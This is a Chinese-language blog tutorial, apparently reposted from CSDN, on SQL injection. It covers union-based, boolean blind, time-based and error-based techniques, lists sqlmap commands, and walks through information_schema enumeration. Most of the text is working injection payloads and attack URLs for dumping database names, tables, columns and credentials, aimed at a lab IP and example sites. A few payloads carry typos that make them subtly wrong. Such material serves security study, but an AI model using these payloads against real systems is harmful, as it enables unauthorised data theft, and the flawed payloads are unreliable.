web 第二部分 SQL注入(2)

sql注入

sql三大法宝 mid(),substr(),left()

  • mid截断函数–》MID(column_name,start[,length]) 前两个必须 最后可选
  • substr()函数–》 Substr()和substring()函数实现的功能是一样的,均为截取字符串。 (string, start, length) 从1开始的
  • Left()函数–》得到字符串左部指定个数的字符 Left ( string, n ) string为要截取的字符串,n为长度。

三大辅助 limit top ascii

  • limit 限制返回的条目 Select * from mysql limit 0,1 (开始序号 返回数目) 也可以只有一个参数控制返回条目
  • top控制返回的头条数目 Select top 2 * from mysql
  • ascii 将字符转换为ascii 用于bool注入 ascii(substr((select database()),1,1))=98 可以用来一个一个判断字符串

两个联合 concat group_concat

  • concat横向组合 Select concat (id, name,) FROM mysql 一同查询两个字段值 显示时是组合在一起 而不会返回两列
  • group_concat 竖向组合 Select group_concat (id) FROM mysql 同一个分组中的值连接起来f返回 只会返回一行数据而不是多行

回显注入
首先需要手动浏览,发现带有数据库查询的地方,然后进行验证,但是分为url和验证的两种注入。两种方案其实没有特别大的区别,但是数字型的个字符串型的稍有不同,先是数字型的(注意有时候我们需要在负载的最后打上注释符号 即–+ 和# ,有的时候不需要,这个是根据后台查询语句而定的。)

    Select * from * where id = 10

验证方法(如果被过滤 我们可以使用其他方法和字符)

    192.168.2.1:8808/admin.asp?id=10 and 1=1
    192.168.2.1:8808/admin.asp?id=10 and 1=2 是否存在漏洞

而对于字符串型的,我们需要飘点的配合,例如我们是在输入框中输入搜索的关键字:

  输入框=1‘  这是用于测试的
  输入框=1‘ or '1'='1 #   这是用于测试

测试字段数目 对了才可以继续
联合查询可以把我们想要的数据展示在网页上,替代网页上原有的数据内容,前提肯定是有显示位置。如果应用程序返回了第一条查询得到的数据,我们就可以在第一条查询后面注入一个UNION运算符来添加一个任意查询,来提取数据

我们可以使用NULL来尝试 NULL值会被转换成任何数据类型 192.168.2.1:8808/admin.asp?id=10 union select null,null 通过null个数判断列数,返回正常则是找到了

我们还可以用order by子句得到准确列数 192.168.2.1:8808/admin.asp?id=10 order by 6 当返回无误时就是找到了正确的

已经知道列数之后,我们需要找到可以返回信息的位置,以便我们观察

       192.168.2.1:8808/admin.asp?id=10 union select 1,2,3  

使用测试字符串替换NULL即可,有些时候较为严格时只能一次替换一个null来测试,但我们的字符显示到网页上的时候,我们就可以断定该位置是可以回显得,也是我们接下来要利用的位置。

扫描二维码关注公众号,回复: 3535052 查看本文章

获取基本信息
在获得了回显位置之后,我们可以进一步收集信息,包括版本version() 用户user()等 ,使用查询语句替代我们可以回显的位置就可以得到信息(注意特殊情况 如果只允许显示一条 那么原语句参数就不要了 为空就可以)

1' union select 1,user(),3# 
1' union select 1,database(),3# 
1' union select 1,version(),3# 

//特殊情况的
' union select 1,user(),3#   只有一条显示机会 原本语句的结果可以为空

Php+mysql数据库背景
这是一个常用的数据库,它的查询已经是成为体系化了,可以使用固定的表来查询我们需要的信息,大概的结构式 库–》表–》字段–》字段值(注意如果是多行或者多列的数据,我们可以使用concat和group_concat两个函数进行组合,因为我们的回显位置是有限的。)

在MySQL中数据库名存放在information_schema数据库下schemata表schema_name字段

id=1 union select null,schema_name,null from information_schema.schemata
id=1 union select null,(select schema_name from information_schema.schemata),null
两种表现是一样的 就不赘述了

表名存放在information_schema数据库下tables表table_name字段中

 id=1 union select null,table_name,null from information_schema.tables where table_schema='ichunqiu'

字段名存放在information_schema数据库下columns表column_name字段中

 union select null,column_name,null from information_schema.columns where table_schema='ichunqiu' and table_name='user'

最后一步直接查询字段就可以

union select null,group_concat(字段名字) null from 'user'

(3) Php+mysql注入实例

 1’ order by 3--空格   #列当前查询的字段条目 (注释符号 取消后面的语句)
 and 1=2 union selesct 1,2—空格 #获取两个字段(显注)
 (union select 1,2,3,4,5 from admin)  #用于测试可以回显得位置,然后利用
 union select 1,version()--空格 测试信息 (database()等函数都可以暴露)
 union select 1,group_concat(schema_name) from information_schema.schemata—空格 #排列information_schema库的schemata表中列出的所有库
    
 group_concat(table_name) from information_schema.tables where table_schema=0x737174--空格 #爆出所需库的所有表 库名需要16进行编码

 group_concat(column_name) from information_schema.columns where table_name=0x75945152—空格 #爆出表的字段 表名依旧需要编码

实际中的应用还有很多需要学习的,包括注入的方法和绕过过滤等

(4) sqlmap注入方法

 测试能否注入       sqlmap.py –u www.baidu.com
 爆出所有库名称     sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dbs 
 爆出库的表名       sqlmap.py -u "www.baidu.com" -D 库名 --tables
 爆出表的所有字段   sqlmap.py -u "www.baidu.com" -D 库名 -T 表名 --columns
 爆出字段数值       sqlmap.py -u "www.baidu.com" -D 库名 -T 表名 -C 字段1,字段2 --dump 

SQL盲注利用

A.基于布尔盲注

SQL盲注是指在无法使用详细数据库错误消息或带内数据连接的情况下,利用数据库查询的输入审查漏洞从数据库提取信息或提取与数据库查询相关信息的技术。

常见的SQL盲注入场景:

1、提交一个导致SQL查询无效时,会返回一个通用错误页面,提交正确则会返回一个内容可被适度控制的页面。
2、提交一个导致SQL查询无效时,会返回一个通用错误页面,提交正确则会返回一个内容不可控的页面。
3、提交受损或不正确的SQL既不会产生错误页面,也不会以任何方式影响页面输出。
首先我们我们提交错误的SQL,看资源是否返回通用的错误页面。
https://bbs.ichunqiu.com/data/attachment/forum/201608/13/180448zyienddoitndrqy9.gif

我们能控制页面的输出结果吗?利用 and 1=1 1=2等的观察,而渗透则是使用某些函数一点点观察 and SUBSTRING(user(),1,1)=‘a’ 当然也支持其他的bool运算 > < = 等
(注意 盲注不需要判断列数 即order by 和 union select 1,2,3# ,因为我们没有回显)

大多数情况下,要了解后台是什么数据库,只需要看一条详细的错误信息即可。
比如判断我们事例中使用的数据库,我们加个单引号。

     192.168.2.1:8808/admin.asp?id=10'
     192.168.2.1:8808/admin.asp?id=10 and exists(select * from admin) 是否存在表
     192.168.2.1:8808/admin.asp?id=10 and exists(select admin from admin) 是否存在字段 用来猜解账户和密码等字段
     and (select top 1 length (admin) from admin)>1 猜测第一个数据的长度
     and (select top 1 ascii(mid(admin,1,1)) from admin)>97 

猜测第一个数据第一个字母的ascii码,全部测试之后可以得到相应信息。 mid(数据,起始,截止) 截断函数,我们可以使用脚本也可以使用sqlmap等进行获取,有一个需要提醒的就是mysql数据库是有现成的东西可以使用,不需要一个一个猜,只需要我们按照流程获取就可以,具体的会在稍后陈述。

注入实例
常用的函数包括substr ascii limit top 等
对于获取数据库名字长度 数据库名字 表名 字段名等 采用的payload如下

# 盲注数据库长度 名字   是不是用ascii都一样
and ascii(substr((select database()),1,1))=98
and substr((select database()),1,1))='s'
# 最后可以获得数据库名字 然后查询就可以 

# 对于maysql数据库 我们可以按照套路来
# 爆出本库所有的表名 从第一个开始
and ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 
limit从0开始  substr从1开始              select top 2 * from database()  #另一种限制方式

# 爆出第一个表的第一个字段名
and ascii(substr((select column_name from information_schema.columns where table_name=0x75945152 limit 0,1),1,1))=101 
 #看情况表的名字是否需要编码

B.基于时间的
和基于布尔的SQL盲注入技术原理其实大同小异,当某一状态为真时,让响应暂停几秒钟,而当状态为假时,不出现暂停

    id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null

C.基于错误的注入

总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error()输出了错误信息,我们可以利用错误进行注入测试。

网页上没有展示查询结果的地方,也就是说select语句执行结果不能出现在网页上,我们需要让执行结果可以出现在报错语句中使使用。数据库返回到页面上的唯一信息就是,mysql错误。

因此,我们需要以一种方式处理我们的查询,以便通过错误获取数据库信息。查询条件必须是正确的,能被后端数据库解释执行,且需产生一个逻辑错误,让数据库信息伴随错误字符串返回。

报错注入原理:

由于rand和group+by的冲突,即rand()是不可以作为order by的条件字段,同理也不可以为group by的条件字段。
   floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误 详细的见http://blog.51cto.com/wt7315/1891458
  floor:向下取整,只保留整数部分,rand(0) -> 0~1

    公式:and (select 1 from 【select count(*),concat【(select(select(报错语句))from information_schema.tables limit 0,1),floor(rand(0)*2)】x from information_schema.tables group by x】a)–+

其中concat()将符合条件的同一列中的不同行数据拼接,x这个为别名的意思,.group by 依据我们想要的规矩对结果进行分组,count()统计元祖的个数(相当于求和)。

      数据库: and(select 1 from(select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e))) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ 
      表: and(select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=库名的十六进制 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
      列: and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
      字段: and(select 1 from(select count(*),concat((select (select (select concat(0x7e,字段名,0x7e))) from 库名.表名 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ 
      总结起来,就是一套已经成型的公式,然后用普通注入的方法进行注入就好了。报错可以使用的函数有ExtractValue()和UpdateXML(),GeometryCollection(),polygon(),multipoint(),linestring()等         
      常用报错函数
      updatexml报错利用形式 updatexml(1,concat(null,(select @@version),null),1) updatexml函数第一个参数为XML文档对象的名称。第二个参数:XPath_string (Xpath格式的字符串) 。 第三个参数:String格式,替换查找到的符合条件的数据。

猜你喜欢

转载自blog.csdn.net/iamsongyu/article/details/82969175